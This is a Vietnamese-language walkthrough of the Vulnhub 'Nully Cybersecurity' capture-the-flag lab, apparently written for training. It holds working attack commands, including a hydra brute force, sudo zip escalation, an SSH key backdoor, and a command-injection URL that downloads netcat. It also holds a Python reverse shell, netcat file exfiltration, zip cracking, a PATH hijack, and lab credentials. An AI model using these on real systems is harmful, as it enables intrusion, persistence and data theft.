# NULLY CYBERSECURITY Vulnhub Walkthrough
## Config IP
Restart -> Bấm F2 để mở bảng -> Advance Options

Bấm E để sửa

Sửa "ro recover nomodeset" -> "rw init=/bin/bash"
Sau đó Ctrl + X

Chọn Recovery mode

Đặt lại mật khẩu

Sau đó chạy exec /sbin/init để khởi động lại hệ thống.

Đăng nhập vào root: pass vừa đặt

Sử dụng lệnh “vim /etc/netplan/00-installer-config.yaml” để cấu hình card mạng
Trong trường hợp này tên card mạng đang bị sai nên chúng ta sửa “enp0s3” thành “ens33” (cho trùng với tên card mạng ở phía trên)


Đã có IP

## Flag 1
Scan IP của máy Null
netdiscover -i eth0 -r 192.168.18.0/24


Scan bằng nmap
nmap -sC -sV 192.168.18.136 -v

Kiểm tra web

Theo rule không được attack port 80, 8000, 9000. Vậy ta phải attack vào 2 port 110 và 2222.
> telnet 192.168.18.136 110
USER pentester
PASS qKnGByeaeQJWTjj2efHxst7Hu0xHADGO
LIST

Thu được danh sách user

Lọc các từ khoá liên quan đến bob: grep bobby /usr/share/wordlists/rockyou.txt > wordlist.txt
hydra -l bob -P wordlist.txt pop3://192.168.18.136

Tìm được password: bobby1985, ssh vào

Kiểm tra sudo -l thấy rằng ta có khả năng chạy check.sh với tư cách là người dùng my2user.

Chạy thử script

Ta leo sang my2user xem có gì hay ho không bằng cách thêm /bin/bash vào script

sudo -u my2user /bin/bash /opt/scripts/check.sh

Kiểm tra với sudo -l ta thấy rằng nó có thể chạy /usr/bin/zip với quyền root.


Tham khảo https://gtfobins.github.io/gtfobins/zip/#sudo để leo lên root qua zip
```bash
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
```
hoặc
```bash
sudo zip 1.zip check.sh -T --unzip-command="sh -c /bin/bash"
```

Lấy được flag 1

## Flag 2
Tạo backdoor bằng ssh để về sau ssh một phát lên root luôn chứ không phải leo qua my2user.



copy file id_rsa sang máy attacker(máy mình)
SSH lại với RSA key



Sau khi cài netdiscover chạy lệnh netdiscover -i eth0 -r 172.17.0.0/16 để tìm ra các dịch vụ khác trong mạng nội bộ, /16 là vì subnetmask là 255.255.0.0

Chúng ta có thể bỏ qua 172.17.0.1 vì nó là Gateway
172.17.0.2 là MailServer

172.17.0.3 Là WebServer


172.17.0.5 là DataCenter

Vì 172.17.0.3 có port 80, nên ta sẽ attack vào đó để lên root web server.

Ta forward port về local để dễ attack trên máy mình luôn
```bash=
ssh -L 8000:172.17.0.3:80 root@192.168.18.136 -p 2222 -i id_rsa
```


Dùng dirb tìm được


Dùng param host để xem có gì lạ không


Ở đây dính lỗi command injection, do vậy ta đi tìm cách RCE.

Để làm được điều đó ta cần sử dụng netcat và cả 2 máy đều chưa có netcat. Với máy MailServer thì đơn giản chỉ cần tải về thôi

Nhưng với máy web server thì phải lòng vòng hơn, ta phải public file binary của nc lên để máy 172.17.0.3 tải về


> http://localhost:8000/ping/ping.php?host=; wget http://172.17.0.2:9000/nc
> http://localhost:8000/ping/ping.php?host=; chmod 777 nc
> http://localhost:8000/ping/ping.php?host=; ls -la nc; pwd

http://localhost:8000/ping/ping.php?host=; /var/www/html/ping/nc 172.17.0.2 9000 -e /bin/bash
Thử dùng nc để tạo revshell nhưng không được.
Dùng payload python3
```python
http://localhost:8000/ping/ping.php?host=;%20python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22172.17.0.2%22,9000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([%22/bin/sh%22,%22-i%22])%27
```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.2",9000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'


Có 2 user trong /etc/passwd ta cần chú ý đến
```bash=
find / -type f -user 1001 2>/dev/null
find / -type f -user 1000 2>/dev/null
```

Đọc file secret của Oliver ta nhận được thông tin đăng nhập
> my password - 4hppfvhb9pW4E4OrbMLwPETRgVo2KyyDTqGF

ssh vào user oliver

Vừa ta đã biết oscar là chủ sở hữu của python3 do vậy payload
```python=
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```
ta sẽ leo sang oscar.


```
H53QfJcXNcur9xFGND3bkPlVlMYUrPyBp76o
```
SSH qua Oscar


Chương trình current-date trả về thời gian hiện tại

Kiểm tra $PATH

vì nó call đến date theo thứ tự trong $PATH nên ta đơn giản chỉ cần tạo prog date chứa /bin/bash là khi chạy current-date nó sẽ excute /bin/bash với quyền root và ta có thể leo lên root rồi.


Lấy được flag 2

## Flag 3

Truy cập vào FTP


Tải 2 file về xem

```bash=
#Remote Server
nc -w 3 192.168.18.145 8888 < backup.zip
#Local Machine
nc -lvnp 8888 > backup.zip
```


File zip bị khóa

```bash=
zip2john backup.zip > hash.txt
john hash.txt
```

Tìm được pass là 1234567890

```
donald:HBRLoCZ0b9NEgh8vsECS
```
SSH vào

Tải linpeas về để dễ dàng tìm cách leo thang hơn
```
# Use a linpeas binary
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
```
Tìm được Unknown SUID binary của screen-4.5.0

Search tìm được script exploit https://www.exploit-db.com/raw/41154



Lấy được flag 3